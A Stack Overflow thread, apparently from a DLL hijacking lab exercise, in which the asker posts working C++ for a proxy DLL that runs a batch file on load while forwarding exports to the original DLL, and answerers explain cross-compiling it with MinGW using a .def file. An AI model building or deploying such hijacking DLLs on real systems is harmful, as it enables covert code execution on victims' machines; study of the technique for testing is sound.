11

I'm working through a DLL hijacking exercise, and have a DLL written which works as expected when compiled in Visual Studio. Essentially, when the DLL is loaded, it executes a shell command and passes off legitimate functionality (in this example, the CheckEvenOdd and PrintAMessage functions) to the originally intended DLL (in this example, GetEvenOdd.dll). The working code is as follows;

#include "stdafx.h"
#include <windows.h>

#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")

extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
    WinExec("c:\\Users\\Public\\execute.bat", 0);
    return 0;
}

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Although it works as intended when compiled in Visual Studio (Windows), I would like to generate the DLL in Linux (for use in a Windows program). Within Linux, I can cross-compile the CPP file (injector.cpp), and create the DLL using these commands;

i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a

This creates the DLL successfully. However, when the DLL is loaded by my "victim application" (running on Windows), although the "ExecuteCmd" function gets executed, the exported functions (from the "pragma comment" line) are not available. Namely, the program which loads this DLL attempts to find the exported functions and is unable to (i.e. the following if branch of the DLL importing application is executed).

FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd");
if (!fn)
{
    std::cout << "\nCould not locate the function CheckEvenOdd";
    std::cout << "\n\nPress Enter to Continue...";
    getch();
    return EXIT_FAILURE;
} 

That tells me the "pragma comment" line is not working as expected when I generate the DLL in Linux.

From some reading I understand these "pragma commands" are compiler specific. Is there some flags I can give to "i686-w64-mingw32-g++" (or some code change I can make) so that the exported functions are available when I compile the DLL in Linux?

n00b
  • 4,341
  • 5
  • 31
  • 57
  • Comment on the down vote? – n00b Sep 28 '18 at 17:40
  • I don't understand your question... how can you use WIN32 function on linux??? – Elvis Dukaj Oct 01 '18 at 13:17
  • I only want to compile the DLL in Linux. I plan to use it on Windows. Cross-compiling the DLL (the first code block) with the commands shown, works (the DLL is created and I can import it in another program) but the "linked" functions (the pragma) lines do not appear to (that is, the CheckEvenOdd and PrintAMessage functions are not available in the program making use of the newly compiled DLL). Note that these functions are available when I compile the same DLL (the same code) using Visual Studio. – n00b Oct 01 '18 at 13:26
  • I think that compiling with GCC you just need to give the `-fPIC` compiler option... – Elvis Dukaj Oct 01 '18 at 13:31

1 Answers1

6

Pragmas are specific to each compiler, your pragmas will work in Visual C++, but not in MingW. Instead you can use a .def file which are supported by Visual C++ and MinGW.

Here's what injector.def might look like in your case:

EXPORTS
    CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd
    PrintAMessage = GetEvenOdd.dll.original.PrintAMessage

Compilation command:

$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def
n00b
  • 4,341
  • 5
  • 31
  • 57
Dexter CD
  • 493
  • 4
  • 13
  • Thanks for your reply. This *kind of* worked (my client program is apparently able to get a pointer to the dll function) but now I'm getting some kind of memory dump when the function is actually called. https://imgur.com/a/iFa3JYg -- any ideas? The code on the right is the driver code (the checkevenodd function is the one being called) – n00b Oct 04 '18 at 19:16
  • The problem is that the dll compiled with mingw is using a different standard library than the application that's actually invoking that dll. So the dll and the application have different string implementations which causes the application to interpret the returned data incorrectly. SO has many Q&A's about passing data across dll boundaries. The easiest fix is to change `CheckEvenOdd` to use primitive types, so instead of returning a string, you could return a char array or a pointer to char. – Dexter CD Oct 04 '18 at 20:05
  • The issue is that as part of DLL hijacking, I wouldn't normally control that DLL (any of the functions) nor the client application. All I control, is this intermediary driver that I am compiling in linux (the one pictured in the first code block of my question), Is there something I can change there to get the expected behavior? – n00b Oct 04 '18 at 20:18
  • There's no easy solution. Most DLL API's will use [standard layout](https://en.cppreference.com/w/cpp/types/is_standard_layout), and [trivial](https://en.cppreference.com/w/cpp/types/is_trivial) types. When they aren't both of those, you need to use a compatible standard library (i.e use VC++), or reverse engineer the type's semantics, which would be VERY difficult. Code that doesn't restrict themselves to certain types are simply not compatible between different libraries. This is the case with [SFML "The compiler versions have to match 100%!"](https://www.sfml-dev.org/download/sfml/2.5.0/). – Dexter CD Oct 04 '18 at 21:06
  • Note that _GetEvenOdd.dll_ can be compiled with *MinGW* as long as _GetEvenOdd.dll.original_ is compiled with *VC++*, since in that case the application gets compatible strings from the original dll. The issue only arises when the original dll is compiled with MinGW because MinGW's strings aren't compatible with VC++'s strings. – Dexter CD Oct 04 '18 at 22:04